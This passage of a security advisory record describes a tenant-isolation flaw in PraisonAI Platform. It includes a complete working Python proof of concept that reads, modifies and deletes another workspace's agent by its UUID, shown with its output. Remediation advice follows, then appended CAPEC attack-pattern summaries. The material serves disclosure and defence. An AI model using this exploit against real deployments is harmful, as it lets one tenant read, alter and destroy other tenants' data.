The attacker updates the victim agent through the attacker workspace path.\n7. The victim observes the attacker-controlled modification.\n8. The attacker deletes the victim agent through the attacker workspace path.\n\nRun with:\n\n```bash\nPRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py\n```\n\nFull PoC:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(os.environ.get(\"PRAISONAI_REPO\", \"/path/to/PraisonAI\")).resolve()\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n expected = {\n PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n \u0027min_role: str = \"member\"\u0027,\n \"member_svc.has_role(workspace_id, user.id, min_role)\",\n ],\n PLATFORM_ROOT / \"praisonai_platform/api/routes/agents.py\": [\n \u0027@router.get(\"/{agent_id}\", response_model=AgentResponse)\u0027,\n \"agent = await svc.get(agent_id)\",\n \u0027@router.patch(\"/{agent_id}\", response_model=AgentResponse)\u0027,\n \"agent = await svc.update(\",\n \u0027@router.delete(\"/{agent_id}\", status_code=status.HTTP_204_NO_CONTENT)\u0027,\n \"deleted = await svc.delete(agent_id)\",\n ],\n PLATFORM_ROOT / \"praisonai_platform/services/agent_service.py\": [\n \"return await self._session.get(Agent, agent_id)\",\n \"agent = await self.get(agent_id)\",\n \"await self._session.delete(agent)\",\n ],\n }\n\n for path, needles in expected.items():\n if not path.exists():\n raise RuntimeError(f\"source verification failed: file not found: {path}\")\n\n text = path.read_text(encoding=\"utf-8\")\n for needle in needles:\n if needle not in text:\n raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n verify_source()\n\n sys.path.insert(0, str(PLATFORM_ROOT))\n sys.path.insert(0, str(AGENTS_ROOT))\n\n if \"passlib\" not in sys.modules:\n passlib_pkg = types.ModuleType(\"passlib\")\n passlib_pkg.__path__ = []\n sys.modules[\"passlib\"] = passlib_pkg\n\n if \"passlib.context\" not in sys.modules:\n passlib_context = types.ModuleType(\"passlib.context\")\n\n class _CryptContext:\n def __init__(self, *args, **kwargs):\n pass\n\n def hash(self, password: str) -\u003e str:\n return f\"stub::{password}\"\n\n def verify(self, password: str, hashed: str) -\u003e bool:\n return hashed == f\"stub::{password}\"\n\n passlib_context.CryptContext = _CryptContext\n sys.modules[\"passlib.context\"] = passlib_context\n\n os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n from praisonai_platform.api.app import create_app\n from praisonai_platform.db.base import Base, reset_engine\n from praisonai_platform.db import base as base_mod\n\n await reset_engine()\n\n engine = create_async_engine(\n \"sqlite+aiosqlite:///:memory:\",\n echo=False,\n connect_args={\"check_same_thread\": False},\n )\n\n base_mod._engine = engine\n base_mod._session_factory = None\n\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n\n app = create_app()\n\n suffix = uuid.uuid4().hex[:8]\n password = \"Password123!\"\n\n transport = ASGITransport(app=app)\n\n async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n attacker = await client.post(\n \"/api/v1/auth/register\",\n json={\n \"email\": f\"attacker_{suffix}@example.com\",\n \"password\": password,\n \"name\": f\"attacker_{suffix}\",\n },\n )\n\n victim = await client.post(\n \"/api/v1/auth/register\",\n json={\n \"email\": f\"victim_{suffix}@example.com\",\n \"password\": password,\n \"name\": f\"victim_{suffix}\",\n },\n )\n\n attacker_json = attacker.json()\n victim_json = victim.json()\n\n attacker_headers = {\"Authorization\": f\"Bearer {attacker_json[\u0027token\u0027]}\"}\n victim_headers = {\"Authorization\": f\"Bearer {victim_json[\u0027token\u0027]}\"}\n\n attacker_ws = await client.post(\n \"/api/v1/workspaces/\",\n json={\n \"name\": f\"attacker-ws-{suffix}\",\n \"slug\": f\"attacker-ws-{suffix}\",\n \"description\": \"attacker workspace\",\n },\n headers=attacker_headers,\n )\n\n victim_ws = await client.post(\n \"/api/v1/workspaces/\",\n json={\n \"name\": f\"victim-ws-{suffix}\",\n \"slug\": f\"victim-ws-{suffix}\",\n \"description\": \"victim workspace\",\n },\n headers=victim_headers,\n )\n\n attacker_workspace_id = attacker_ws.json()[\"id\"]\n victim_workspace_id = victim_ws.json()[\"id\"]\n\n victim_agent = await client.post(\n f\"/api/v1/workspaces/{victim_workspace_id}/agents/\",\n json={\n \"name\": \"victim-agent\",\n \"runtime_mode\": \"local\",\n \"instructions\": \"secret instructions\",\n },\n headers=victim_headers,\n )\n\n victim_agent_id = victim_agent.json()[\"id\"]\n\n attacker_read = await client.get(\n f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n headers=attacker_headers,\n )\n\n attacker_update = await client.patch(\n f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n json={\"instructions\": \"pwned-by-attacker\"},\n headers=attacker_headers,\n )\n\n victim_read_after_update = await client.get(\n f\"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}\",\n headers=victim_headers,\n )\n\n attacker_delete = await client.delete(\n f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n headers=attacker_headers,\n )\n\n victim_read_after_delete = await client.get(\n f\"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}\",\n headers=victim_headers,\n )\n\n print(f\"[poc] attacker_workspace={attacker_workspace_id}\")\n print(f\"[poc] victim_workspace={victim_workspace_id}\")\n print(f\"[poc] victim_agent_id={victim_agent_id}\")\n print(\n \"[poc] attacker_read_status=\"\n f\"{attacker_read.status_code} \"\n f\"workspace_id={attacker_read.json().get(\u0027workspace_id\u0027)} \"\n f\"instructions={attacker_read.json().get(\u0027instructions\u0027)}\"\n )\n print(\n \"[poc] attacker_update_status=\"\n f\"{attacker_update.status_code} \"\n f\"instructions={attacker_update.json().get(\u0027instructions\u0027)}\"\n )\n print(\n \"[poc] victim_read_after_update_status=\"\n f\"{victim_read_after_update.status_code} \"\n f\"instructions={victim_read_after_update.json().get(\u0027instructions\u0027)}\"\n )\n print(f\"[poc] attacker_delete_status={attacker_delete.status_code}\")\n print(f\"[poc] victim_read_after_delete_status={victim_read_after_delete.status_code}\")\n\n if attacker_read.status_code != 200:\n raise SystemExit(\"[poc] MISS: attacker could not read victim agent\")\n\n if attacker_read.json().get(\"workspace_id\") != victim_workspace_id:\n raise SystemExit(\"[poc] MISS: read response was not the victim workspace agent\")\n\n if attacker_update.status_code != 200 or attacker_update.json().get(\"instructions\") != \"pwned-by-attacker\":\n raise SystemExit(\"[poc] MISS: attacker could not update victim agent\")\n\n if victim_read_after_update.status_code != 200 or victim_read_after_update.json().get(\"instructions\") != \"pwned-by-attacker\":\n raise SystemExit(\"[poc] MISS: victim did not observe attacker-controlled update\")\n\n if attacker_delete.status_code != 204:\n raise SystemExit(\"[poc] MISS: attacker could not delete victim agent\")\n\n if victim_read_after_delete.status_code != 404:\n raise SystemExit(\"[poc] MISS: victim agent still existed after attacker delete\")\n\n print(\"[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent\")\n\n await engine.dispose()\n base_mod._engine = None\n base_mod._session_factory = None\n\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(asyncio.run(main()))\n```\n\nObserved result:\n\n```text\n[poc] attacker_workspace=3f7c...\n[poc] victim_workspace=be1d...\n[poc] victim_agent_id=7f04...\n[poc] attacker_read_status=200 workspace_id=be1d... instructions=secret instructions\n[poc] attacker_update_status=200 instructions=pwned-by-attacker\n[poc] victim_read_after_update_status=200 instructions=pwned-by-attacker\n[poc] attacker_delete_status=204\n[poc] victim_read_after_delete_status=404\n[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent\n```\n\nThis confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object\u0027s UUID through the attacker\u0027s own workspace-scoped route.\n\n### Impact\n\nAny authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:\n\n- read other workspaces\u0027 agents;\n- read agent instructions and metadata;\n- modify victim agents;\n- delete victim agents;\n- potentially read, modify, or delete projects and issues that follow the same object lookup pattern;\n- enumerate comments for issues by raw `issue_id`;\n- corrupt activity data, project state, and issue state across workspace boundaries.\n\nThis breaks the platform\u0027s tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.\n\nThe demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.\n\n### Suggested remediation\n\nRecommended fixes:\n\n1. Require every object fetch, update, and delete method to take both `workspace_id` and `object_id`.\n\n2. Enforce object ownership in the service layer. For example:\n\n```python\nagent = await self._session.get(Agent, agent_id)\nif not agent or agent.workspace_id != workspace_id:\n return None\n```\n\n3. Avoid service methods that resolve workspace-owned objects by global UUID alone.\n\n4. Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.\n\n5. For comment and dependency helpers that pivot from raw `issue_id`, validate that the parent issue belongs to the authorized workspace before returning or modifying child records.\n\n6. Add regression tests for negative cross-workspace access cases, including:\n\n```text\nworkspace A member cannot read workspace B object\nworkspace A member cannot update workspace B object\nworkspace A member cannot delete workspace B object\nworkspace A member cannot list comments for workspace B issue\n```\n\n7. Return `404 Not Found` or `403 Forbidden` consistently when an object does not belong to the authorized workspace.\n\n### Security boundary\n\nThis report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.",
"id": "GHSA-6h6v-6m7w-7vxx",
"modified": "2026-05-29T22:35:13Z",
"published": "2026-05-29T22:35:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Platform workspace-scoped routes allow cross-workspace object access by global object ID"
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.